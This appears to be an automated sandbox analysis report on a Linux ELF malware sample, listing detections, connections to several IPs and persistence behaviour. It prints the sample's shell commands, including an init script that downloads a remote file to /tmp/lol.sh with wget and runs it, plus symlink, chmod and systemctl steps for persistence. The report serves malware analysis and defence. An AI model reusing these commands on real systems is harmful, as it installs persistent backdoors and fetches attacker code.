Source: na.elf |
ReversingLabs: Detection: 60% |
Source: na.elf |
Virustotal: Detection: 60% |
Perma Link |
Source: global traffic |
TCP traffic: 192.168.2.23:59978 -> 154.216.19.139:38242 |
Source: global traffic |
TCP traffic: 192.168.2.23:41008 -> 193.143.1.59:38242 |
Source: global traffic |
TCP traffic: 192.168.2.23:38834 -> 87.120.84.105:38242 |
Source: global traffic |
TCP traffic: 192.168.2.23:53016 -> 185.170.144.84:38242 |
Source: /tmp/na.elf (PID: 6272) |
Socket: 0.0.0.0:38242 |
Jump to behavior |
Source: global traffic |
TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443 |
Source: global traffic |
TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80 |
Source: global traffic |
TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 193.143.1.59 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 193.143.1.59 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 193.143.1.59 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 91.189.91.43 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 193.143.1.59 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 193.143.1.59 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 109.202.202.202 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 87.120.84.105 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 87.120.84.105 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 87.120.84.105 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 87.120.84.105 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 87.120.84.105 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 185.170.144.84 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 185.170.144.84 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 185.170.144.84 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 185.170.144.84 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 185.170.144.84 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 193.143.1.59 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 193.143.1.59 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 193.143.1.59 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 193.143.1.59 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 193.143.1.59 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 87.120.84.105 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 87.120.84.105 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 87.120.84.105 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 87.120.84.105 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 87.120.84.105 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 185.170.144.84 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 185.170.144.84 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 185.170.144.84 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 185.170.144.84 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 185.170.144.84 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 154.216.19.139 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 193.143.1.59 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 193.143.1.59 |
Source: unknown |
TCP traffic detected without corresponding DNS query: 193.143.1.59 |
Source: inittab.16.dr, profile.16.dr, custom.service.16.dr, bootcmd.16.dr, na.elf.36.dr, mybinary.16.dr |
String found in binary or memory: http://154.216.19.140/ |
Source: unknown |
Network traffic detected: HTTP traffic on port 43928 -> 443 |
Source: unknown |
Network traffic detected: HTTP traffic on port 42836 -> 443 |
Source: ELF static info symbol of initial sample |
.symtab present: no |
Source: classification engine |
Classification label: mal72.spre.troj.evad.linELF@0/10@0/0 |
Source: /tmp/na.elf (PID: 6272) |
File: /etc/profile |
Jump to behavior |
Source: /tmp/na.elf (PID: 6272) |
File: /etc/rc.local |
Jump to behavior |
Source: /usr/bin/ln (PID: 6327) |
File: /etc/rcS.d/S99mybinary -> /etc/init.d/mybinary |
Jump to behavior |
Source: /usr/bin/ln (PID: 6338) |
File: /etc/rc.d/S99na.elf -> /etc/init.d/na.elf |
Jump to behavior |
Source: /tmp/na.elf (PID: 6272) |
File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) |
Jump to behavior |
Source: /usr/bin/chmod (PID: 6324) |
File: /etc/init.d/mybinary (bits: - usr: rx grp: rx all: rwx) |
Jump to behavior |
Source: /usr/bin/chmod (PID: 6332) |
File: /etc/init.d/na.elf (bits: - usr: rx grp: rx all: rwx) |
Jump to behavior |
Source: /tmp/na.elf (PID: 6286) |
Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1" |
Jump to behavior |
Source: /tmp/na.elf (PID: 6322) |
Shell command executed: sh -c "chmod +x /etc/init.d/mybinary >/dev/null 2>&1" |
Jump to behavior |
Source: /tmp/na.elf (PID: 6325) |
Shell command executed: sh -c "ln -s /etc/init.d/mybinary /etc/rcS.d/S99mybinary >/dev/null 2>&1" |
Jump to behavior |
Source: /tmp/na.elf (PID: 6328) |
Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/na.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting na.elf'\n /tmp/na.elf &\n wget http://154.216.19.140/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping na.elf'\n killall na.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/na.elf" |
Jump to behavior |
Source: /tmp/na.elf (PID: 6330) |
Shell command executed: sh -c "chmod +x /etc/init.d/na.elf >/dev/null 2>&1" |
Jump to behavior |
Source: /tmp/na.elf (PID: 6333) |
Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" |
Jump to behavior |
Source: /tmp/na.elf (PID: 6336) |
Shell command executed: sh -c "ln -s /etc/init.d/na.elf /etc/rc.d/S99na.elf >/dev/null 2>&1" |
Jump to behavior |
Source: /bin/sh (PID: 6324) |
Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/mybinary |
Jump to behavior |
Source: /bin/sh (PID: 6332) |
Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/na.elf |
Jump to behavior |
Source: /bin/sh (PID: 6335) |
Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d |
Jump to behavior |
Source: /usr/bin/dash (PID: 6238) |
Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.X4LvdcPchc /tmp/tmp.hrDZxt4n4J /tmp/tmp.SKR6rNNjpj |
Jump to behavior |
Source: /usr/bin/dash (PID: 6239) |
Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.X4LvdcPchc /tmp/tmp.hrDZxt4n4J /tmp/tmp.SKR6rNNjpj |
Jump to behavior |
Source: /bin/sh (PID: 6297) |
Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service |
Jump to behavior |
Source: /tmp/na.elf (PID: 6272) |
File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) |
Jump to behavior |
Source: /usr/bin/chmod (PID: 6324) |
File: /etc/init.d/mybinary (bits: - usr: rx grp: rx all: rwx) |
Jump to behavior |
Source: /usr/bin/chmod (PID: 6332) |
File: /etc/init.d/na.elf (bits: - usr: rx grp: rx all: rwx) |
Jump to behavior |
Source: /tmp/na.elf (PID: 6272) |
Writes shell script file to disk with an unusual file extension: /etc/init.d/mybinary |
Jump to dropped file |
Source: /tmp/na.elf (PID: 6272) |
Writes shell script file to disk with an unusual file extension: /etc/rc.local |
Jump to dropped file |
Source: /bin/sh (PID: 6328) |
Writes shell script file to disk with an unusual file extension: /etc/init.d/na.elf |
Jump to dropped file |
Source: /tmp/na.elf (PID: 6272) |
File: /etc/init.d/mybinary |
Jump to dropped file |
Source: /bin/sh (PID: 6328) |
File: /etc/init.d/na.elf |
Jump to dropped file |
Source: /tmp/na.elf (PID: 6272) |
Queries kernel information via 'uname': |
Jump to behavior |
Source: na.elf, 6272.1.00007ffe59858000.00007ffe59879000.rw-.sdmp |
Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/na.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/na.elf |
Source: na.elf, 6272.1.000055ac0a753000.000055ac0a8a1000.rw-.sdmp |
Binary or memory string: U!/etc/qemu-binfmt/arm |
Source: na.elf, 6272.1.00007ffe59858000.00007ffe59879000.rw-.sdmp |
Binary or memory string: /tmp/qemu-open.d1Mlmt |
Source: na.elf, 6272.1.000055ac0a753000.000055ac0a8a1000.rw-.sdmp |
Binary or memory string: /etc/qemu-binfmt/arm |
Source: na.elf, 6272.1.00007ffe59858000.00007ffe59879000.rw-.sdmp |
Binary or memory string: /usr/bin/qemu-arm |
Source: na.elf, 6272.1.00007ffe59858000.00007ffe59879000.rw-.sdmp |
Binary or memory string: U/tmp/qemu-open.d1Mlmt |
Source: na.elf, 6272.1.00007ffe59858000.00007ffe59879000.rw-.sdmp |
Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped |